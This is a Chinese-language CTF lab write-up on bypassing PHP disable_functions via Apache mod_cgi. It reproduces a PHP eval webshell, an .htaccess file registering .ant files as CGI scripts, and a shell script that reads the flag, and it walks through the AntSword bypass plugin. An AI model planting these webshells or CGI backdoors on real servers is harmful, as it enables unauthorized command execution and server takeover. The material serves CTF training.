完整教程:CTFHub Web进阶-PHP:Bypass_disable_function3之通关Mod CGI

目录

一、Apache Mod CGI

1、Apache Mod CGI 绕过核心原理

2、使用蚁剑进行 Apache Mod CGI 绕过

二、渗透实战

1、打开靶场

2、源码分析

3、蚁剑直接连接

4、虚拟终端

5、蚁剑工具-disable function

(1)disable function插件

(2)查看flag

6、方法2:访问后门

(1)htaccess文件

(2)shell.ant文件

(3)获取flag


本文详细讲解CTFHub的Web进阶中disable-functions的Mod CGI关卡的原理与渗透全流程。核心原理是利用Apache的mod_cgi模块,通过上传.htaccess文件和CGI脚本绕过PHP的disable_functions限制。实战演示了使用蚁剑的BypassDisableFunctions插件自动完成绕过过程:上传.htaccess文件将.ant扩展名注册为CGI脚本,并执行包含系统命令的shell.ant文件。最终通过访问CGI脚本成功获取flag。文章提供了两种获取flag的方法:直接使用蚁剑虚拟终端和手动访问后门文件,完整展示了渗透测试流程与技术细节。

一、Apache Mod CGI

1、Apache Mod CGI 绕过核心原理

核心在于利用Apache的mod_cgi模块,将特定扩展名的文件当作CGI脚本执行

  • mod_cgi模块与CGI脚本mod_cgi是Apache的一个模块,允许服务器执行CGI(通用网关接口)脚本。CGI是一种标准,定义了Web服务器与外部程序交互的方式。在Apache配置中,可以设定某些特定扩展名的文件(如.cgi.sh,甚至自定义扩展名)被mod_cgi处理,即当请求这些文件时,Apache会执行它们而不是直接返回其内容

  • 绕过disable_functions的思路:PHP的disable_functions配置只能限制PHP函数的调用。如果我们能通过Web服务器(Apache)的机制,直接执行一个系统 shell 脚本或二进制文件,那么这些PHP的限制自然就被绕过了。

  • 利用条件:要成功利用此方法,通常需要满足几个条件:

    • 目标服务器是Apache

    • mod_cgi模块已启用

    • Apache配置中允许使用.htaccess文件(即AllowOverride选项不为None),并且我们有权限写入.htaccess文件

    • 对网站目录有写权限,以便上传.htaccess文件和我们的CGI脚本。

  • 利用链条

    • 我们首先上传一个自定义的.htaccess文件,通过其中的AddHandlerSetHandler指令,指定某个扩展名(例如.ares)的文件由mod_cgi处理

    • 然后,我们上传一个具有该特定扩展名的Shell脚本(例如shell.ares,并确保其具有可执行权限(在某些配置下可能需要)。

    • 当我们通过Web访问这个CGI脚本时,Apache会执行它,脚本中的系统命令(例如读取flag或反弹Shell)就会执行。

简单来说,整个过程就是:利用.htaccess文件改变Apache对特定文件的处理方式,使其作为CGI脚本执行,从而绕过PHP的disable_functions限制。

2、使用蚁剑进行 Apache Mod CGI 绕过

蚁剑(AntSword) 的Bypass Disable Functions插件简化了上述过程。以下是具体步骤:

  • 连接Webshell:使用蚁剑成功连接到目标网站的Webshell。

  • 使用 Bypass Disable Functions 插件

    • 在蚁剑中,对连接的Shell点击右键,选择 "Bypass Disable Functions"

    • 在选择模式时,找到并选择 Apache_Mod_CGI(或类似名称的选项)。

    • 点击"开始"按钮执行。插件会自动完成以下工作:

      • 在网站目录下上传一个特殊的.htaccess文件,内容通常类似:

        Options +ExecCGI
        AddHandler cgi-script .ant

        这表示启用CGI执行,并将自定义扩展名为ant的文件当作CGI脚本处理。

      • 上传一个CGI脚本文件(使用上述自定义扩展名),该脚本通常是一个Shell脚本(如Linux下为Bash脚本),其内容会包含执行系统命令的逻辑,例如:

        #!/bin/sh
        echo&&cd "/var/www/html/backdoor";tac /flag;echo 73cd8;pwd;echo 16c2a102346
      • 插件可能会尝试为上传的CGI脚本设置可执行权限(取决于环境)。

      • 最终,插件会通过访问这个CGI脚本并返回结果,来验证绕过是否成功。

  • 访问脚本文件即可执行读取flag的命令(例如tac /flag),从而成功获取flag。

二、渗透实战

1、打开靶场

http://challenge-0e3db6d50957df77.sandbox.ctfhub.com:10800/

2、源码分析

点击GetFlag进入到如下页面,源码是的主要功能是一句话木马,通过eval($_REQUEST['ant'])直接执行用户输入的PHP代码,提供了完整的远程代码执行能力。

http://challenge-0e3db6d50957df77.sandbox.ctfhub.com:10800/backdoor/

<?php

@eval($_REQUEST['ant']);

show_source(__FILE__);

?>

很明显php代码是一个高危的Webshell后门,允许攻击者通过ant参数远程执行任意PHP代码,完全控制Web服务器,可进行文件操作、命令执行、数据库访问等恶意行为,严重威胁服务器安全。

  • @操作符:抑制错误显示,增强隐蔽性

  • $_REQUEST['ant']:接收GET或POST参数中的ant参数

  • eval():将字符串作为PHP代码执行,构成任意代码执行安全风险

3、蚁剑直接连接

http://challenge-0e3db6d50957df77.sandbox.ctfhub.com:10800/backdoor/ 密码ant。

4、虚拟终端

通过“选中木马的会话-右键-虚拟终端”进入在木马的虚拟终端窗口,如下所示。

如下所示,命令执行失败。

5、方法1:蚁剑工具-disable function

(1)disable function插件

我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。


点击开始执行,如下所示弹出新的虚拟终端。

(2)查看flag

在新木马的虚拟终端中输入ls /、cat /readflag和tac /flag命令成功获取到flag,如下所示。

ls /
cat /readflag
tac /flag

6、方法2:手动访问后门

执行Apache Mod CGI后,变化如下,其中.htaccess文件和shell.ant文件构成了一个利用Apache CGI执行系统命令的后门。

(1)htaccess文件

.htaccess文件

Options +ExecCGI

AddHandler cgi-script .ant

  • Options +ExecCGI启用CGI执行功能
  • AddHandler cgi-script .ant.ant扩展名文件当作CGI脚本处理

(2)shell.ant文件

shell.ant内容如下所示

#!/bin/sh

echo&&cd "/var/www/html/backdoor";tac /flag;echo 73cd8;pwd;echo 16c2a102346

对shell.ant脚本进行详细 注释,具体如下所示。

#!/bin/sh
# 指定使用 /bin/sh (Bourne shell) 作为解释器
echo
# 输出一个空行(用于格式化输出)
cd "/var/www/html/backdoor"
# 切换到 /var/www/html/backdoor 目录
tac /flag
# 反向显示 /flag 文件的内容(与 cat 相反,从最后一行开始显示)
echo 73cd8
# 输出字符串 "73cd8"(可能是标识符或标记)
pwd
# 显示当前工作目录的完整路径
echo 16c2a102346
# 输出字符串 "16c2a102346"(可能是另一个标识符或标记)

脚本执行后将依次输出:

  • 一个空行

  • /flag 文件的反向内容

  • 字符串 "73cd8"

  • 当前目录路径(应该是 /var/www/html/backdoor

  • 字符串 "16c2a102346"

(3)获取flag

http://challenge-0e3db6d50957df77.sandbox.ctfhub.com:10800/backdoor/shell.ant

  • 切换到/var/www/html/backdoor目录
  • tac命令反向显示/flag文件内容
  • 输出字符串"73cd8""16c2a102346"(可能是标识符或密码)
  • 显示当前工作目录

posted @ 2025-12-04 22:54  yangykaifa  阅读(8)  评论(0)    收藏  举报